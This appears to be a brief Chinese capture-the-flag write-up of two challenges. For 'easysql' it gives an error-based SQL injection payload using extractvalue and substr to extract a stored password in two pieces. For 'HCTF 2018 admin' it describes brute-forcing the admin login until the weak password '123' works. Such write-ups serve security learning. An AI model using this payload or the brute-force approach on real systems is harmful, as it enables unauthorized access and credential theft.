极客大挑战easysql&[HCTF 2018]admin-wp

极客大挑战easysql
使用报错注入
最后的flag太长，无法显示全，用substr（）分成两部分即可

payload：
check.php?username=1’and%20(extractvalue(1,concat(’~’,(select%20substr(password,25,50)%20from%20geekuser%20limit%203,1))))%23and%231%23

[HCTF 2018]admin

查看源代码，发现提示“你不是admin”，接着尝试注册admin的账号显示账号已存在。
然后对admin密码进行爆破，会出现三种状态码，123的状态码最特殊，尝试登入成功获得flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200527091500979.png)![在这里插入图片描述](https://img-blog.csdnimg.cn/20200527091510515.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZyZWVyYXRz,size_16,color_FFFFFF,t_70)

按照经验来说这种能爆破出来的弱密码不多，但遇到密码还是习惯性的爆破一下，万一出来了呢，没出来也不亏